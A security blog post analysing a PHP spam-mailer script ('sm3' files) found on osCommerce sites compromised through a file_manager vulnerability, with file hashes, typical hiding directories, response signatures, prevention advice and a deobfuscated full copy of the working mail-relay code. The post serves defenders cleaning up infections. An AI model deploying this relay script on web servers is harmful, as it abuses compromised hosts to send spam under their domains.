This PHP based spam script has been around for a reasonable amount of time. I commonly see it use a variety of names, all in the format, sm3 followed by 2 letters and one number which makes it relatively easy to find. In all cases where I have found this script it has been heavily obfuscated. Another common give-away for this script is it is usually located in an directory with an “_” at the start of the directory name, or as the actual directory name.

Script name: sm3rm1.php / sm3ht4.php / other names similar

Script MD5: 91492e2187437f08a0a66dea2e106790 / bd24fafaaf91898b8fb606461a7cbd1f (gzipped)

Compromise Method: Vulnerable osCommerce / Potentially Other

Notes: PHP script that finds its way onto compromised osCommerce (in all cases I have found) accounts used then to send out spam.

Example file(s): Original / Human Readable (Also see below)

Detail: Every case where I have found this script there has been a vulnerable version of osCommerce installed. This has lead to the compromise of the webspace allowing the attacker to upload this file.

The main method of attack seems to be the file_manager vulnerability in osCommerce (every case I have found so far exhibits this), but I feel there could be a chance other vulnerabilities maybe used. When the script gets uploaded to the web space, it is most likely in a directory either named “_” or with an “_” at the start of the name. Examples are:

  • ~/public_html/_/
  • ~/public_html/_installation_ssssssssss/
  • ~/public_html/.smileys/

This script appears to be stand alone, no other files look like they get uploaded with it (although having this in your web space is almost a sure sign there will be back doors around the place, such as PHP shells hidden in image directories).

Once the script is in the web space, the spammer is then able to start using it to send spam. This script is different to most other spam scripts as the spam data is constantly posted to it so the file is stand alone. Most other spam scripts upload other text files with a list of body texts, from addresses etc.

The script does a simple check at the start to make sure that two post variables are set, $_POST['l'] and $_POST['d']. If those parameters are not set, when you attempt to visit the script via a web browser you will get something similar to the following:

Linux10+cfcd208495d565ef66e7dff9f98764da

The die called echos out the Operating system of the server followed by “10+” and then the MD5 hash of “0987654321″. The “10+” means the script was unsuccessful in this case. The hash maybe so the attacker can use it as a Google dork to find the scripts later on.

The post variables are used by the script as the address to send the spam to ($_POST['l']) and the actual email data itself ($_POST['d']). Regex matches are used to gather the different data fields out of the post data (see the below source code which shows this). A check is done to make sure the compromised website hostname isn’t actually an IP address. If the hostname isn’t an IP address, the hostname is used as the remote part of the email address with the local part being sent in the post data (as $vee11cbb1 or $localpart in the source below). If the hostname is an IP address no ‘From:’ header is provided by the script and no envelope sender address is given to sendmail. After this a check is done if safe mode is on and if so the ‘From:’ header and evelope sender are also omitted (even if there is a hostname present in the earlier check).

Before the email is sent the body is encoded and needs to be decoded so it is able to be sent. This is handled by the na73fa8bd() function (or denumber() below). The body text is sent in the post data as a nested array, containing the carriage return characters along with another array with the email text. The email text isn’t human readable – its an array of numbers. The numbers are converted to ASCII using the PHP chr() function. Before being converted to ASCII,

The email is then sent (depending on the earlier check the envelope sender may or may not be passed to sendmail). If the email is sent and the mail() function returns success the script echos “OK” followed by the MD5 of ’1234567890′:

OKe807f1fcf82d132f9bb018ca6738a19f

If there is an error sending the email, like the check at the start of the script to ensure post data is sent the operating system and an md5 sum of ’0987654321′ are returned like this (with an error code of 20 instead of 10):

Linux20+cfcd208495d565ef66e7dff9f98764da

For prevention for this particular attack the website needs to be updated and the admin area secured. A .htaccess is recommended to stop future access to the admin area from potential attackers – the admin area usually has tools for uploading files etc. which lead to this type of compromises. As noted at the start of this post if this script is found there are likely to be other PHP shells in the webspace too.

The source code for this script can be found at the top of the page in the original form. I have edited most of it out below to make it easier to read. The variable names may be off, I just named them as I went.

<?php
// These are the variables that are obfuscated in the original
//
// $v01b6e203 = $to
// $v8d777f38 = $data
// $vee11cbb1 = $localpart (local part of the email address, before the "@"
// $vb068931c = $name
// $vc34487c9 = $subject
// $v6f4b5f42 = $body_data (array)
// ne667da76() = ipaddress()
// $v10497e3f = $evelope_sender
// $v0c83f57c = $email
// $vd98a07f8 = $from_header
// $v4340fd73 = $headers
// $v957b527b = $server_name
// $na73fa8bd = $denumber
// $v7fa1b685 = $carriage_return
// $vb4a88417 = $body_code
// $v865c0c0b = $i
// $vf5a8e923 = $body_str_length
// $vb45cffe0 = $body_array
// $v11a95b8a = $line_chars

error_reporting(0);
if (!isset($_POST['l']) || !isset($_POST['d'])) die(PHP_OS . "10+" . md5(0987654321));
$to = stripslashes($_POST['l']);
$data = stripslashes($_POST['d']);
preg_match('|<USER>(.*)</USER>|imsU', $data, $localpart);
$localpart = $localpart[1];
preg_match('|<NAME>(.*)</NAME>|imsU', $data, $name);
$name = $name[1];
preg_match('|<SUBJ>(.*)</SUBJ>|imsU', $data, $subject);
$subject = $subject[1];
preg_match('|<SBODY>(.*)</SBODY>|imsU', $data, $body_data);
$body_data = $body_data[1];
if (ipaddress($_SERVER['SERVER_NAME'])) {
    $evelope_sender = false;
} else {
    if ($name != '') $from_header = "$name ";
    $email = $localpart . "@" . preg_replace('/^www\./i', '', $_SERVER['SERVER_NAME']);
    $from_header.= "<$email>";
    $headers = "From: $from_header\r\n";
    $evelope_sender = true;
}
if (((strtolower(@ini_get('safe_mode')) == 'on') || (strtolower(@ini_get('safe_mode')) == 'yes') || (strtolower(@ini_get('safe_mode')) == 'true') || (ini_get("safe_mode") == 1))) {
    $evelope_sender = false;
}
$headers.= "MIME-Version: 1.0\r\n";
$headers.= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
$headers.= "Content-Transfer-Encoding: quoted-printable\r\n";
$body = denumber($body_data);
if ($evelope_sender) {
    if (mail($to, $subject, $body, $headers, "-f$email")) echo "OK" . md5(1234567890);
    else die(PHP_OS . "20+" . md5(0987654321));
} else {
    if (mail($to, $subject, $body, $headers)) echo "OK" . md5(1234567890);
    else die(PHP_OS . "20+" . md5(0987654321));
}
exit;
function ipaddress($server_name) {
    return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/", $server_name);
}
function denumber($body_array, $line_chars = 0, $carriage_return = "=\r\n", $v92f21a0f = 0, $v3303c65a = true) {
    $body_str_length = strlen($body_array);
    $body_code = '';
    for ($i = 0;$i < $body_str_length;$i++) {
        if ($line_chars >= 75) {
            $line_chars = $v92f21a0f;
            $body_code.= $carriage_return;
        }
        $v4a8a08f0 = ord($body_array[$i]);
        if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) {
            if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) {
                $body_code.= chr($v4a8a08f0);
                $line_chars = 0;
                continue;
            }
            $body_code.= '=' . str_pad(strtoupper(dechex($v4a8a08f0)) , 2, '0', STR_PAD_LEFT);
            $line_chars+= 3;
            continue;
        }
        $body_code.= chr($v4a8a08f0);
		        $line_chars++;
    }
    return $body_code;
} ?>

  One Response to “PHP/Spam – sm3 Script”

  1. Thank you very much

 Leave a Reply

(required)

(required)

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

© 2012 Web Hack Blog